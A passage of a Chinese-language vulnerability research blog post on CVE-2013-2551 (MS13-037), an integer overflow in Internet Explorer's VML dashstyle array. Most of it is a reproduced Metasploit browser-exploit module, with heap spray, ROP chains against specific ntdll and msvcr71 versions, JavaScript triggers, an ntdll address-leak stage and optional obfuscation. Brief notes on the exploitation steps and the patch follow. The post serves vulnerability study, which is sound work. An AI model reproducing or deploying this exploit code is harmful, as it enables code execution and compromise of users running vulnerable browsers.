368
369
370
371
372
373
374
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::RopDb

def initialize(info={})
super(update_info(info,
'Name' => "MS13-037 Microsoft Internet Explorer COALineDashStyleArray Integer Overflow",
'Description' => %q{...},
'License' => MSF_LICENSE,
'Author' => [...],
'References' => [...],
'Payload' => {...},
'DefaultOptions' => {...},
'Platform' => 'win',
'Arch' => ARCH_X86,
'BrowserRequirements' => {...},
'Targets' => [...],
'Privileged' => false,
'DisclosureDate' => '2013-03-06',
'DefaultTarget' => 0))

register_options(...)

register_advanced_options(...)
end

def exploit
@second_stage_url = "#{get_module_resource}#{rand_text_alpha(10)}".chomp
@leak_param = rand_text_alpha(5)

super
end

#* 堆喷布局
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
randnop = rand_text_alpha(rand(100) + 1)

# Land the payload at 0x0c0c0c0c
# For IE 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end

return js
end

#* ROP 链
def get_ntdll_rop
case @ntdll_version
when "6.1.7601.17514"
stack_pivot = [
@ntdll_base+0x0001578a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015789, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
when "6.1.7601.17725"
stack_pivot = [
@ntdll_base+0x0001579a, # ret # from ntdll
@ntdll_base+0x000096c9, # pop ebx # ret # from ntdll
@ntdll_base+0x00015799, # xchg eax, esp # ret from ntdll
].pack("V*")
ntdll_rop = [
@ntdll_base+0x45F18, # ntdll!ZwProtectVirtualMemory
0x0c0c0c40, # ret to shellcode
0xffffffff, # ProcessHandle
0x0c0c0c34, # ptr to BaseAddress
0x0c0c0c38, # ptr to NumberOfBytesToProtect
0x00000040, # NewAccessProtection
0x0c0c0c3c, # ptr to OldAccessProtection
0x0c0c0c40, # BaseAddress
0x00000400, # NumberOfBytesToProtect
0x41414141 # OldAccessProtection
].pack("V*")
return stack_pivot + ntdll_rop
else
return ""
end
end

#* 封装 payload
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t.opts['Rop'].nil?

# Both ROP chains generated by mona.py - See corelan.be
case t.opts['Rop']
when :jre
print_status("Using JRE ROP")
stack_pivot = [
0x7c348b06, # ret # from msvcr71
0x7c341748, # pop ebx # ret # from msvcr71
0x7c348b05 # xchg eax, esp # ret from msvcr71
].pack("V*")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
when :ntdll
print_status("Using ntdll ROP")
rop_payload = get_ntdll_rop + payload.encoded
end

return rop_payload
end

#* 漏洞利用 payload
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)

js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x1000; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function exploit(){

var vml1 = document.getElementById("vml1")

for (var i=0; i<0x1000; i++){
a[i] = document.getElementById("rect" + i.toString())._anchorRect;
if (i == 0x800) {
vml1.dashstyle = "1 2 3 4"
}
}

vml1.dashstyle.array.length = 0 - 1;
vml1.dashstyle.array.item(6) = 0x0c0c0c0c;

for (var i=0; i<0x1000; i++)
{
delete a[i];
CollectGarbage();
}
location.reload();

}
|

create_rects_func = "createRects"
exploit_func = "exploit"

if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate(memory_sensitive: true)
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end

html = %Q|
<html>
<head>
<script>
#{js}
</script>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|

return html
end

#* 信息泄露 payload
def html_info_leak

uri_prefix = "#{get_resource.chomp("/")}/#{@second_stage_url}".gsub('//', '/')

js_trigger = %Q|
var rect_array = new Array()
var a = new Array()

function createRects(){
for(var i=0; i<0x400; i++){
rect_array[i] = document.createElement("v:shape")
rect_array[i].id = "rect" + i.toString()
document.body.appendChild(rect_array[i])
}
}

function exploit(){

var vml1 = document.getElementById("vml1")

for (var i=0; i<0x400; i++){
a[i] = document.getElementById("rect" + i.toString())._vgRuntimeStyle;
}

for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}

var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;

for (var i=0; i<0x400; i++)
{
a[i].marginLeft = "a";
marginLeftAddress = vml1.dashstyle.array.item(0x2E+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2E+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2E+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
document.location = "#{uri_prefix}?#{@leak_param}=" + parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16 )
return;
}
}

}
|

create_rects_func = "createRects"
exploit_func = "exploit"

if datastore['OBFUSCATE']
js_trigger = ::Rex::Exploitation::JSObfu.new(js_trigger)
js_trigger.obfuscate(memory_sensitive: true)
create_rects_func = js_trigger.sym("createRects")
exploit_func = js_trigger.sym("exploit")
end

html = %Q|
<html>
<head>
<meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" >
</head>
<title>
</title>
<style>v\\: * { behavior:url(#default#VML); display:inline-block }</style>
<xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" />
<script>
#{js_trigger}
</script>
<body onload="#{create_rects_func}(); #{exploit_func}();">
<v:oval>
<v:stroke id="vml1"/>
</v:oval>
</body>
</html>
|

return html

end

def set_rop(t, rop, info)
case rop
when /^ntdll$/i
t.opts['Rop'] = :ntdll
when /^jre6$/i
if info[:java] !~ /1\.6|6\.0/
raise RuntimeError, "Target does not have the suitable Java component (1.6) installed for our attack"
end

t.opts['Rop'] = :jre
end

return t
end

def on_request_exploit(cli, request, target_info)
begin
my_target = set_rop(get_target, datastore['ROP'], target_info)
rescue RuntimeError => e
# This one is just a warning, because it's a requirement check so it's not that scary.
print_warning(e.message)
send_not_found(cli)
return
end

if my_target.opts['Rop'] == :ntdll and request.uri !~ /#{@second_stage_url}/
html = html_info_leak
print_status("Sending HTML to info leak...")
send_response(cli, html, {'Content-Type'=>'text/html'})
else
leak = begin
request.uri_parts["QueryString"][@leak_param].to_i
rescue
0
end

if leak == 0
html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})
return
end

print_status("ntdll leak: 0x#{leak.to_s(16)}")
fingerprint = leak & 0x0000ffff

case fingerprint
when 0x70B0
@ntdll_version = "6.1.7601.17514"
@ntdll_base = leak - 0x470B0
when 0x7090
@ntdll_version = "6.1.7601.17725" # MS12-001
@ntdll_base = leak - 0x47090
else
print_warning("ntdll version not detected, sending 404")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
print_status("Sending HTML to trigger...")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end
end

漏洞利用的大体思路是

  1. 通过任意地址读泄露 ntdll.dll 基址
  2. 通过堆喷布局 shellcode 或通过漏洞自身的任意地址读定位 shellcode
  3. 通过任意地址写劫持虚表
  4. ROP 劫持控制流到 shellcode

经典套路,只是利用了一些 JS 和 IE 的 version-specific feature,详见 Advanced Exploitation of Internet Explorer 10 / Windows 8 Overflow (Pwn2Own 2013) 或《漏洞战争》原本或各路大神漏洞利用博客,eg. CVE-2013-2551漏洞成因与利用分析, 看雪论坛精华帖

漏洞修复

Patch 后 VGX.dll 中的 COALineDashStyleArray::put_length 函数增加了在设置 dashstyle.array.length 属性时对输入参数的检查,具体来说如果目标长度小于 0 则函数将发生跳转以确保其值不会溢出

Reference

NVD - CVE-2013-2551
CVE - CVE-2013-2551
Microsoft安全公告 MS13-037 - 严重
漏洞战争

  • Title: CVE-2013-2551 漏洞研究
  • Author: 7erry
  • Created at : 2024-12-24 20:34:40
  • Updated at : 2024-12-24 20:34:40
  • Link: https://7erryx.github.io/2024/12/24/Vulnerability Investigation/CVE-2013-2551-漏洞研究/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
CVE-2013-2551 漏洞研究